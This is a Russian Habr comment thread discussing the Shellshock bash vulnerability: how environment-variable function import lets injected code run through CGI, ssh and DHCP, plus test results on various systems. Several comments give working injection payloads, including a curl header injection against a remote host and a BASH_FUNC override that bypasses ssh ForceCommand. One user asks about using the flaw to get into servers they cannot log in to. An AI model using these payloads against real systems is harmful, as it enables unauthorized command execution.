Как стать автором
Обновить

Комментарии 93

Я не совсем понял почему это уязвимость Bash а не http-серверов?
Я преполагаю что заплатки должны делать именно Apache и NGINX а не ОС
В чем должна заключаться заплатка веб-сервера? Запретить системные вызовы?
Проблема именно в bash, так как обработка в вышеприведенном примере продолжается даже после символа «}»
Не совсем понятен один момент: почему и зачем bash обрабатывает http header как команды? Очень не хватает технических подробностей…
bash обрабатывает http header в случае если сам http запрос обрабатывается cgi скриптом.
Так получается потому что различные параметры клиента передаются cgi скрипту через переменные окружения.
Например при запросе /test.cgi заголовок User-Agent переданный браузером экспортируется веб-сервером в переменную окружения HTTP_USER_AGENT и производит выполнение скрипта test.cgi.
Сам скрипт test.cgi может быть как Perl'овым скриптом так и какой-нибудь программой на C/C++ которая может потом по желанию получить эту переменную окружения.
заголовок User-Agent переданный браузером экспортируется веб-сервером в переменную окружения HTTP_USER_AGENT
Разве не было бы логично обновить веб-сервер (и не только), чтобы он корректно эскейпил заголовки и прочее непосредственно при передаче в баш?

Ведь проблема не в том, что заголовки какие-то недопустимые с точки зрения веб-сервера, и проблема не в том, что баш делает что-то, что не должен, а в том что при передаче из веб-сервера в баш что-то, что было просто строкой стало интерпретироваться как часть компанды. То есть сама проблема аналогична SQL Injection и подобным. А чинить баш от уязвимости — это как чинить MySQL от SQL Injection: такой же костыль и так же бесполезно. Ибо проблема на уровне интеграции, а не на уровне исполнителя.
Тоже пришла на ум аналогия с SQLi. Однако в случае с bash не слишком ли много сервисов и кода пришлось бы патчить? Кстати, обнаружены новые уязвимости в баше — www.linux.org.ru/news/security/10892232
По-моему это как раз уязвимость именно баша — посмотрите на репродьюсер: env X="() { :;}; echo busted" bash -c «echo stuff»

Он начинает испольнять строковый литерал. Может это на самом деле нормальное поведение для баша, но обычно даже самые динамично-высоко-уровневые языки не исполняют строки если их не просить.
Разве не было бы логично обновить веб-сервер (и не только), чтобы он корректно эскейпил заголовки и прочее непосредственно при передаче в баш?

Веб-сервер отрабатывает корректно. Это bash не проверяет свои входные данные на корректность. Если у вас есть программа с одним окном и одним editboxом, в который пользователь вводит делитель, и при вводе 0 программа выпадает с division by zero, проблема в вашем коде, а не коде графической оболочки, реализующей editbox.
что значит «баш не проверяет свои входные данные»? Баш это не вебсервер, это все таки шелл. И как не простой шелл он предоставляет некоторые расширенные функции. Такие как например эта, используемая в уязвимости. Да, баш позволяет описывать в переменных окружения также свои функции. Это малоизвестная но таки фича баша. А вот авторы вебсерверов этот момент упустили, но в этом нет вины баша.
То что он позволяет описывать функции — это, может быть, и фича. Но то, что написанный после этих функций код автоматически исполняется — уж точно нет.

Как вы представляете себе фикс этой проблемы на сервере? С какой стати web-сервер должен знать что там bash делает с переданными ему переменными? По спецификации он должен засунуть данные в переменную окружения и вызвать CGI-обработчик. Пытаться понять что там этот CGI-обработчик с переменными сделает — не его задача.
А кто в cgi обработчик то шелл запихал?
Сама CGI может быть написана на шелле. А может быть написана на другом языке, который в процессе работы сам для чего-нибудь вызовет шелл.
Вот вам и ответ. Виноват то в конечном итоге не баш, а тот кто его использует не зная его функционала. Да функционал неожиданный, но это как не смотря в документацию на допустимые параметры функции потом ругаться что «функция дырявая»
AFAIK описанное в статье — это не функционал баша. По крайней мере я описания такой «фичи» в документации баша не припомню. Это обычный баг. Ну или не баг, а закладка, причём древняя.
Нет у Баша такой функциональности — выполнять код из переменных окружения, есть только импорт функций, а описанная проблема — баг.
Ну, описанная проблема срабатывает если атакующий контролирует значение переменной окружения. А если атакующий контролирует не только значение, но и имя — импорт функций ВНЕЗАПНО тоже позволит выполнить свой код, если известно какую программу запускает bash (можно подменить группу типичных команд pwd/ls/mkdir/uname/id/… чтобы повысить вероятность):
$ env BASH_FUNC_uname%%="() { echo busted; }" \
    bash -c uname
busted
В частности, таким способом можно обойти ограничение ForceCommand в ssh если в конфиге сервера используется AcceptEnv *.
Т.е. при ЛЮБОМ вызове cgi-скрипта переменные окружения выставляются через системный вызов bash'а что-ли?
Тут похоже тесты и примеры немного всех запутали.
Более наглядно на мой взгляд вот так:
[test@localhost ~]$ export x='() { :;}; echo vulnerable'
[test@localhost ~]$ bash -c "echo this is a test"
vulnerable
this is a test
[test@localhost ~]$ /bin/sh -c "echo this is a test"
vulnerable
this is a test

Т, е. установка переменных может осуществляться через setenv() или еще каким образом. Но стандартный вызов cgi-скрипта производится при помощи exec(«my.cgi»), что обычно равно выполнению "/bin/sh -c my.cgi". А это в свою очередь приводит к выполнению функции которую мы задали в переменной окружения.
Это показывает еще момент с тем что дверью для этой уязвимости является не только веб-сервер, а фактически все что устанавливает переменные окружения из пользовательского ввода перед вызовом exec(). Упоминались в частности DHCP клиенты (не стоит опрометчиво подключаться к левым WiFi сетям).
Поправка 1:
/bin/sh -c выполняет вызов system().

С exec несколько сложнее — он может выполнить шелл но при определенных условиях.
If the header of a file isn't recognized (the attempted execve(2) failed with the error ENOEXEC), these functions will execute the shell (/bin/sh) with the path of the file as its first argument. (If this attempt fails, no further searching is done.)


Поправка 2:
Конкретно в apache виноват не exec() сам по себе. В нем используются вызовы execve() и execv() с явным указанием запускать шелл.
apr-1.5.1/threadproc/unix/proc.c:543
if (attr->cmdtype == APR_SHELLCMD) {
    execve(SHELL_PATH, (char * const *) newargs, (char * const *)env);
}
else {
    execv(SHELL_PATH, (char * const *)newargs);
}



Потому что веб-серверы это всего-лишь одна из возможных лазеек. Уязвимостью можно воспользоваться в контексте любой программы или демона у которого есть возможность записывать переменные окружения или выполнять системные комманды.
Мне кажется фиксы выпустили уже все дистрибутивы Linux и Unix. Нет?
Апдейты накатили, вопрос больше с роутерами и тд. на которых нету новой прошивки. Что делать и насколько опасно?
Задумался о всяких NAS типа синолоджи, это ж доступ ко всей приватной информации можно получить?
Вот меня тоже мой роутер волнует, т.к. адрес от провайдера получает по DHCP, а значит скрипт выполняет от рута, а не от www-data, как веб-сервер. Надеюсь, что там бизибокс. Всё же баш — штука тяжёлая и грузить ей устройство со слабеньким процессором и крошечной памятью нелогично.

А вообще-то очень хочется какой-нибудь Cubieboard с несколькими ethernet-портами.
на роутерах всеми правдами и неправдами закрывайте доступ к вебсерверу извне, и даже в локальной сети по возможности ограничивайте доступ только с надежных машин (хотя бы по ip).
Можно получить у производителя. Например, список уязвимых устройств от Cisco не маленький.
Не буду говорить за всех, но у двух используемых Synology (DS213, DS713) качестве интерпретатора используется sh, а не bash, который идет симлинком на busybox
Для проверки на всякий случай выполнил, и получил хороший выхлоп (заменил sh на bash):
NTC-DISK> env X="() { :;} ; echo busted" sh -c "echo stuff"
stuff
NTC-DISK>

Впервые за всё время, рад что у MikroTik используется их закрытая оболочка, а не bash.
DS3612xs Release Notes Version : 5.0-4493 Update 7 (2014/09/29) Fixed Issues Fixed a potential risk on Bash command shell (CVE-2014-6271 and CVE-2014-7169)
Без комментариев, Обновляйтесь
> Но интерпретатор Bash также уже присутствует во многих привычных приборах, например, домашних роутерах.

Там чаще присутствует BusyBox, который этому вроде бы не подвержен.
Есть более подробная информация о busybox? Хотелось бы пруф…
Я бы даже сказал не «чаще», а «совершенно всегда». Я ни разу не видел bash в дешевых embedded-устройствах вообще (не только роутерах), так что как бы масштабы трагедии СИЛЬНО преувеличены. Если с HeartBleed мы могли дампить память совершенно незаметно без всяких аутентификаций, то тут, во-первых, нужно найти вектор атаки (прямой CGI на Bash встречается, я думаю, чуть реже, чем никогда), где выполняется bash в ходе каких-то действий, и, как правило, это требует прохождения аутентификации.
Нет, вы недооцениваете опасность.

Представьте себе CGI скрипт на perl, который делает exec('date >> ../logs/myscriptcalls.log').
Так вот 'date >> ../logs/myscriptcalls.log' будет выполнено с помощью /bin/sh, который в слишком большом количестве дистрибутивов является симлинком на /bin/bash. Подробнее.
Я не вижу противоречий с моим сообщением. На embedded-устройствах bash встречается очень редко, а CGI perl-скрипт, вероятнее всего, будет требовать аутентификации (если это панель администратора, или типа того) для выполнения system() где-то внутри скрипта.
А во внятных статьях и не утверждают, что уязвимы SOHO роутеры, говорится только о том, что уязвима куча серверов.

Но и этого достаточно.
debian squeeze — фикса нет. Серверов именно на squeeze огромное количество (по разным соображениям не обновленных на wheezy). Но в июне появился дистрибутив squeeze lts, с поддержкой до 2016 года — настоятельно рекомендую коллегам обновить веб-сервера до него. Версии пакетов фактически те же, приходят только security fixes, в т.ч. и bash shellock fix.
Нельзя просто подключить к работающему squeeze какие-то репозитории?
В тексте упоминается sshd. Получается, любой человек может удаленно выполнить любой код с правами рута (sshd крутится под рутом)? Или нужно все-таки залогиниться под каким-либо пользователем?
sshd сменит пользователя перед запуском оболочки. Так что пользователь будет тот, с которым залогинились.
Нужно залогиниться.
Представьте себе, что у вас ssh доступ только чтобы делать git clone ssh://myuser@gitrepo.
Т.е. залогиться вы можете, но там ForceCommand на какой-нибудь git демон.

Внезапно вы можете не только клонировать репу, но запускать там любые команды через шелл!
Совершенно верно. Но залогиниться нужно.
OS X 10.9.5 уязвим. Apple нынче слоупоки. Это обновление вышло после обнаружения уязвимости.
НЛО прилетело и опубликовало эту надпись здесь
OS 10.10 (14A361p) та же беда, пришлось самому обновлять интерпретатор.
Когда я в 98-м году начинал изучать веб технологии с пхп, как настоящий школьник, все инструкции по установке веб-сервера начинались со слов «не используйте CGI, это небезопасный способ работать с вебом, так как они вызывают системные скрипты». После этого мы прошли долгий путь: mod_php, tomcat, fastcgi, и в 2014 году ВНЕЗАПНО оказалось что CGI небезопасно!..
Глупости. CGI скрипты не более (небез)опасны чем любые другие — если программист не допустил ошибку в скрипте, то он безопасен пока не обнаружена дыра в ОС, веб-сервере, или используемом языке программирования. Можно подумать, с 98-го года было найдено мало дыр в апаче или php. Баш очень широко используется и давно превратился в bloatware, так что обнаружение в нём серьёзных дыр и багов было неизбежно.
А что бы проверить без сборки masscan-а достаточно curl-запроса:
curl -A "ShellShock-check (0.1)" -H "Host:() { :; }; ping -c 3 209.126.230.74" <Attackrd_host>
Поправьте меня, если ошибаюсь.
Если без сборки, то лучше использовать универсальный скрипт для проверки, который я добавил в статье, тем более, что там новые баги обнаружились github.com/hannob/bashcheck
Этот универсальный скрипт позволяет проверить текущую систему. А речь о том, чтобы, например, быстро проверить раутер своего провайдера.
Я запустил его на ADSL-модеме D-Link DSL-2500U (прошивка родная) и роутере D-Link DIR-825 (прошивка заменена на OpenWrt Backfire 10.03.1 — прошивке где-то года три, наверное). И там и там нет bash, используется busybox, проверка проблем не выявила (я заменял в скрипте bash на sh).
CGI? Реальная уязвимость же только с его использованием. С FastCGI и mod_php/mod_perl никакого запуска оболочки для передачи параметров уже не происходит.
Так CGI пора давно было хоронить. Нашёлся отличный повод.
А при использовании fcgiwrap?
Не только. Как уже отмечали ранее, уязвимости подвержены многие сервисы, в том числе sshd, Git, Subversion, клиенты DHCP (если они вызывают скрипты для настройки системы), CUPS и вообще любые приложения, которые запускают bash (или bash-скрипты) и могут устанавливать переменные окружения на основе пользовательских данных.
Помню была задача: получить рутовый баш, имея пользователя, которому разрешены некоторые административные команды через sudo. Среди прочего оказалось, что разрешена edquota, и задача легко решилась манипуляциями с переменной окружения EDITOR. Shellshock добавляет уйму возможностей при подобной конфигурации системы.
Если тот же perl или php хоть раз рождает дочерний процесс через баш, то проблема остаётся даже с mod_php/mod_perl. Весьма многие веб-приложения этим занимаются.
>Также неясно, имеют ли уязвимость Shellshock Windows-версии Bash.

$ bash --version
GNU bash, version 4.1.13(6)-release (i686-pc-cygwin)

$ env X="() { :;} ; echo busted" bash -c "echo stuff"
stuff


С Cygwin все в порядке.
C:\Program Files (x86)\Git\bin>set X=() { :;} ; echo busted

C:\Program Files (x86)\Git\bin>bash -c "echo test"
busted
test

C:\Program Files (x86)\Git\bin>bash --version
GNU bash, version 3.1.0(1)-release (i686-pc-msys)
Copyright (C) 2005 Free Software Foundation, Inc.
Изнутри bash'а тоже работает:
bash.EXE"-3.1$ export X="() { :;} ; echo busted"
bash.EXE"-3.1$ ./bash -c "echo stuff"
busted
stuff

Возможно, env функционирует не совсем так как надо? Но это абсолютно не влияет на уязвимость.
Не надо зацикливаться на веб-векторах, которые в современном мире не представляют массовой угрозы (речь конкретно о Shellshock). Есть и другие, более актуальные и опасные варианты эксплуатации уязвимости.
Вот из статьи не ясно как эта уязвимость может быть использована вне динозавроподобного CGI?)
Вот мой сервер: t.syshub.ru на нём нет ничего интересного, и старый баш. Если кто запишет в /tmp/res номер своего кошелька (на яндексе или webmoney) и запрос, который создал файл скину на него денежку)

Для проверки открыт apache (80) sshd (1122) webmin (10000).
bash --version
GNU bash, version 4.3.11(1)-release (x86_64-pc-linux-gnu)

ни одной уязвимости.
Not vulnerable to CVE-2014-6271 (original shellshock)
Not vulnerable to CVE-2014-7169 (taviso bug)
Not vulnerable to CVE-2014-7186 (redir_stack bug)
Test for CVE-2014-7187 not reliable without address sanitizer
Variable function parser inactive, likely safe from unknown parser bugs


в версии 2009 года 4.1.2 тоже нет
Тогда я не понял, этому багу действительно 25 лет, или это таки недавно добавленная АНБ закладка?
Тоже интересно: кому таки реально стоит переживать? была проблема 2К, но её тоже пережили и не заметили, слышал лишь про пару случаев на древних тазиках.
GNU bash, version 3.1.17(0)-release (i386-portbld-freebsd6.2)
Copyright (C) 2005 Free Software Foundation, Inc.
Vulnerable to CVE-2014-6271 (original shellshock)
Not vulnerable to CVE-2014-7169 (taviso bug)
./test.sh: line 20: 49172 Segmentation fault: 11  bash -c "true $(printf '<<EOF %.0s' {1..79})" 2>/dev/null
Vulnerable to CVE-2014-7186 (redir_stack bug)
Test for CVE-2014-7187 not reliable without address sanitizer
Variable function parser still active, likely vulnerable to yet unknown parser bugs like CVE-2014-6277 (lcamtuf bug)

Увы, есть оная в более древних версиях
Правильно я понял, что если CGI-программы написаны, скажем, на С и не вызывают bash в процессе своего выполнения, то опасности нет?
Неправильно.
bash будет вызван автоматически для запуска cgi написанного даже на C. тыц1 тыц2
По этим ссылкам написано, что шелл будет вызван, только если бинарник почему-то не распознается системой. И это будет /bin/sh, который не обязательно bash, например, в Debian и Ubuntu это dash.
apache вызывает шелл для запуска cgi самостоятельно. Случай с не распознанным файлом — относится к другим программам. Но да, в случае с apache это все равно будет "/bin/sh" и если /bin/sh = dash то вероятно угрозы нет.

apr-1.5.1/include/arch/unix/apr_arch_threadproc.h:51
#define SHELL_PATH "/bin/sh"


В таком ключе мое сообщение выше стоит читать как:
/bin/sh будет вызван автоматически для запуска cgi написанного даже на C.
Вопрос чем является /bin/sh
Сказал «yum update» на CentOS, теперь скрипт https://github.com/hannob/bashcheck не показывает ни одной уязвимости.

Спасибо за свéдения.
Извините, но ИМХО тема топика не раскрыта. Желтовато-с. Описано, как воспроизвести уязвимость, но по механизму ее работы остается как минимум три вопроса.

1. Почему вообще bash пытается как-то интерпретировать содержимое переменной окружения? Это ведь обычная NUL-строка, передающаяся из родительского процесса в дочерний (в system или при должных аргументах exec).

2. Идет нагон тумана на тему того, что Apache+CGI уязвимы сами по себе. Но ведь если я написал CGI-скрипт с hello world на Perl, положил его в /cgi-bin/ и открыл в браузере, с какой стати там вообще запустится bash? Он не запустится, потому что если бы Apache на каждый cgi-скрипт запускал перед ним bash, это были бы лишние тормоза. Таким образом, уязвимость проявится только в случае, если кто-то в cgi-скрипте вызовет system(), exec(), popen() и др. функции по запуску внешних процессов.

3. Если внешний процесс запускается не «командной строкой с аргументами», а отдельным указанием исполняемого файла и отдельным — аргументов, то bash также не вызовется. Например, для Perl: system('/bin/echo', 'a', 'b') — bash не запустится, а для system(«echo a b») — запустится.

Поправьте меня, если я ошибся где-то, пожалуйста.
2. Тем не менее apache (точнее библиотека APR )на каждый вызов cgi запускает /bin/sh. (1) (2)
3. При использовании C есть два варианта: вызов system(«command») — ведет к однозначному запуску "/bin/sh -c command"(3), вызов exec(«command») ведет к вызову "/bin/sh -c command" в случае «если заголовок исполняемого файла не распознан» (4)
Похоже я ошибался. Тот явный вызов /bin/sh который я нашел в исходниках происходит при обработке SSI, а не CGI, хотя и размещен в mod_cgi.
Таким образом мое утверждение о том что bash запускается на каждый старт cgi в не верно. Непосредственно подвержены эксплуатации уязвимости через apache: bash cgi скрипты, cgi использующие вызовы system(), popen(), exec() (в очень редких случаях) без очистки переменных окружения, SSI cmd.
SSI cmd используется весьма редко, кстати. А вот popen (вернее, open(F, "| cmd") в perl-скриптах), думаю, в 99% случаях — это вызов sendmail (вроде бы PHP тоже sendmail вызывает через popen?). Так что, скорее всего, утверждение «сайт уязвим» очень-очень сильно коррелирует с утверждением «на сайте есть форма обратной связи».

Плюс п. 1 («Почему вообще bash пытается как-то интерпретировать содержимое переменной окружения?») так и не раскрыт же — я в других источниках тоже не видел ничего на эту тему, кстати.
По п.1: ru.wikipedia.org/wiki/Bashdoor

При запуске новых экземпляров Bash из существующего bash возможна передача (экспортирование, export) значений существующих переменных окружения и определений функций в порождаемый процесс.[12] Определения функций экспортируеются путем кодирования их в виде новых переменных окружения специального формата, начинающегося с пустых скобок "()", за которыми следует определение функции в виде строки. Новые экземпляры Bash при своем запуске сканируют все переменные среды, детектируя данный формат и преобразовывая его обратно в определение внутренней функции.[13] Данное преобразование проводится путем создания фрагмента Bash-кода на базе значения переменной среды и его исполнения ('on-the-fly'). Подверженные уязвимости версии Bash не производят проверок, что исполняемый фрагмент содержит лишь определение функции.[13]…

27 сентября был опубликован качественный патч, который добавляет ко всем экспортируемым и импортируемым функциям специальный префикс (BASH_FUNC_) при их преобразовании в переменные окружения и обратно.[14]


git.savannah.gnu.org/cgit/bash.git/tree/variables.c?id=ac50fbac377e32b98d2de396f016ea81e8ee9961#n315 bash.git/tree/variables.c
/* Initialize the shell variables from the current environment.
   If PRIVMODE is nonzero, don't import functions from ENV or
   parse $SHELLOPTS. */
...
      /* If exported function, define it now.  Don't import functions from
	 the environment in privileged mode. */
      if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
...
	  if (posixly_correct == 0 || legal_identifier (name))
	    parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);



Еще вопрос — зачем в popen запуск /bin/sh… IEEE Std 1003.1, 2004 — popen: «and the child invoked the sh utility using the call: execl(shell path, „sh“, „-c“, command, (char *)0);»
Не зря я с недоверием к bash всегда относился.
Использую zsh.
Обновления запускаю каждый день.
Итак, если резюмировать вопрос уязвимости сервера, к примеру, Debian.

Вариант №1. Посредством веб-сервера, запущенного на данном сервере. При каких условиях становится возможным эксплуатация уязвимости bash?
Пойдём от обратного. Как я себе вижу. Эксплуатировать уязвимость bash на данном сервере считается невозможным, если у пользователя веб-сервера, от которого он работает, это к примеру, www-data, в /etc/passwd установлен интерпретатор команд не bash (идеально /bin/false). Вызовы системных команд через тот же exec () из кода будет происходить с использованием /bin/sh по дефолту, что уже известно, и в свою очередь ,/bin/sh — это dash на самом деле, и который неподвержен атакам. А также это всё верно в том случае, если работает apache+mod_fcgi или php-fpm. Иначе и говорить даже не о чём, и сервер абсолютно защищён?

Вариант №2. Атака по протоколу ssh. Если учесть, что PermitRootLogin no, все пароли всех пользователей достаточно надёжны, и порты прикрыты acl списками по firewall-у, тогда также не стоит беспокоиться по поводу безопасности и возможности эксплуатации багов в bash?

Просьба подтвердить или опровергнуть, что я не учёл в своих размышлениях.
В первом варианте Вы не учли, что Вы не можете проконтролировать код всех CGI/PHP/etc. скриптов и гарантировать что ни один из них не вызывает именно bash, а не sh или $SHELL.

Во втором — если сервер ssh использует ForceCommand и AcceptEnv * то ForceCommand смогут обойти.
У нас всё работает на ПО от Microsoft, нам надо беспокоиться?
Короткий ответ — нет

Теперь уже ответом будет «конечно!»:
Бельгийская ИБ-компания Security Factory обнаружила в интерпретаторе команд Windows уязвимость, открывающую возможность удаленного ввода команд. Она использует переменные окружения таким же образом, как и эксплойты для Bash.

Авив Рафф (Aviv Raff), технический директор Seculert, подтвердил, что проблема во многом схожа с Shellshock и ей подвержены многие ОС Windows, даже Windows 10 Preview.

threatpost.ru/2014/10/07/podobnaya-shellshock-uyazvimost-mozhet-kosnutsya-i-windows/
Народ срочно нужна помощь, по работе прошлый айтишник как мудак поставил админские пароли на серверные компы и благополучно исчез, т.к. единственый доступ это гостевая убунты, то сделать толком ничего не могу, а начальник серьезно так пресует…
Я правильно разобрался в статье что используя интерпретатор смогу сделать запрос вида
http-header = Cookie:() { :; }; ping -c 3 209.126.230.74
на изменение пароля?
man «single user mode»
Зарегистрируйтесь на Хабре , чтобы оставить комментарий